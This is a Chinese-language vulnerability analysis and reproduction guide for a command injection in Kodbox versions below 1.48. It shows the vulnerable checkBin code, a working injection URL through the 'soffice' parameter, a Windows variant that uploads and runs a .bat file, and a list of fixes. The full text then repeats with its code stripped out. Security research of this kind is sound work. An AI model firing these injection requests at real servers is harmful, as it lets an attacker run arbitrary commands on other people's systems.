某cms代码注入漏洞复现与分析
字数 970 2025-08-18 17:33:38

Kodbox 1.47 命令注入漏洞分析与复现指南

漏洞概述

Kodbox 是一款功能丰富的私有云在线文档管理系统,可作为网络文件管理器和网页代码编辑器使用。在版本低于1.48的系统中存在一个命令注入漏洞,攻击者可通过精心构造的请求在服务器上执行任意命令。

漏洞影响版本:Kodbox < 1.48

漏洞文件plugins/officeViewer/controller/libreOffice/index.class.php

漏洞类型:命令注入

环境搭建

  1. 下载Kodbox 1.47版本源码:

    https://github.com/kalcaddle/kodbox
    
  2. 系统要求:

    • PHP版本5以上
    • 支持shell_exec函数的环境

漏洞分析

漏洞代码定位

漏洞主要存在于index.class.php文件中的checkBin方法:

private function checkBin($bin, $check) {
    $code = Cache::get($bin);
    if($code) return $code;
    $result = shell_exec($bin . ' --help'); // ' 2>&1'
    $code = strstr($result, $check) ? true : false;
    Cache::set($bin, $code);
    return $code;
}

漏洞触发流程

  1. 攻击者通过HTTP请求传入soffice参数

  2. 参数值被传递到check()方法:

    public function check() {
        $bin = $this->in['soffice']; // 从HTTP请求获取soffice参数
        // ...省略部分代码...
        if(isset($_GET['check'])){
            // ...省略检查代码...
            $soffice = $this->getSoffice();
        }
        // ...省略后续代码...
    }
    
  3. 在Windows环境下,参数会被特殊处理:

    $bin = '"' . trim(iconv_system($bin)) . '"'; // win路径空格处理
    
  4. 最终参数被直接拼接到shell_exec命令中执行

漏洞利用

Linux系统利用

POC:

/index.php?plugin/officeViewer/libreOffice/index/check&soffice=";id;%23&check=1

解释

  • " 用于闭合原有的双引号
  • ; 用于分隔命令
  • id 是要执行的命令
  • %23 是URL编码的#,用于注释掉后续内容

Windows系统利用

前提条件

  1. 有权限上传文件到服务器
  2. 知道可执行文件的绝对路径

利用步骤

  1. 上传恶意bat文件(如poc.bat)到服务器,内容为任意命令:

    @echo off
    whoami
    
  2. 构造请求执行bat文件:

    /index.php?plugin/officeViewer/libreOffice/index/check&soffice=D:\path\to\poc.bat
    

防御措施

  1. 升级到Kodbox 1.48或更高版本

  2. 临时修复方案:

    • 禁用shell_exec函数
    • 对用户输入的soffice参数进行严格过滤
    • 使用escapeshellarg()等函数处理命令参数
  3. 安全配置建议:

    • 限制文件上传类型
    • 设置文件上传目录不可执行
    • 使用最小权限原则运行Web服务

技术总结

该漏洞的核心问题在于未对用户可控的soffice参数进行充分过滤,直接拼接到了shell_exec命令中。在安全开发中,应始终遵循以下原则:

  1. 所有用户输入都应视为不可信的
  2. 执行系统命令时应使用白名单机制
  3. 必要时使用专门的命令转义函数
  4. 避免直接拼接用户输入到系统命令中

通过此漏洞的分析,我们可以更深入地理解命令注入漏洞的原理和利用方式,从而在开发中更好地防范此类安全问题。

Kodbox 1.47 命令注入漏洞分析与复现指南 漏洞概述 Kodbox 是一款功能丰富的私有云在线文档管理系统,可作为网络文件管理器和网页代码编辑器使用。在版本低于1.48的系统中存在一个命令注入漏洞,攻击者可通过精心构造的请求在服务器上执行任意命令。 漏洞影响版本 :Kodbox < 1.48 漏洞文件 : plugins/officeViewer/controller/libreOffice/index.class.php 漏洞类型 :命令注入 环境搭建 下载Kodbox 1.47版本源码: 系统要求: PHP版本5以上 支持shell_ exec函数的环境 漏洞分析 漏洞代码定位 漏洞主要存在于 index.class.php 文件中的 checkBin 方法: 漏洞触发流程 攻击者通过HTTP请求传入 soffice 参数 参数值被传递到 check() 方法: 在Windows环境下,参数会被特殊处理: 最终参数被直接拼接到shell_ exec命令中执行 漏洞利用 Linux系统利用 POC : 解释 : " 用于闭合原有的双引号 ; 用于分隔命令 id 是要执行的命令 %23 是URL编码的 # ,用于注释掉后续内容 Windows系统利用 前提条件 : 有权限上传文件到服务器 知道可执行文件的绝对路径 利用步骤 : 上传恶意bat文件(如poc.bat)到服务器,内容为任意命令: 构造请求执行bat文件: 防御措施 升级到Kodbox 1.48或更高版本 临时修复方案: 禁用shell_ exec函数 对用户输入的 soffice 参数进行严格过滤 使用escapeshellarg()等函数处理命令参数 安全配置建议: 限制文件上传类型 设置文件上传目录不可执行 使用最小权限原则运行Web服务 技术总结 该漏洞的核心问题在于未对用户可控的 soffice 参数进行充分过滤,直接拼接到了shell_ exec命令中。在安全开发中,应始终遵循以下原则: 所有用户输入都应视为不可信的 执行系统命令时应使用白名单机制 必要时使用专门的命令转义函数 避免直接拼接用户输入到系统命令中 通过此漏洞的分析,我们可以更深入地理解命令注入漏洞的原理和利用方式,从而在开发中更好地防范此类安全问题。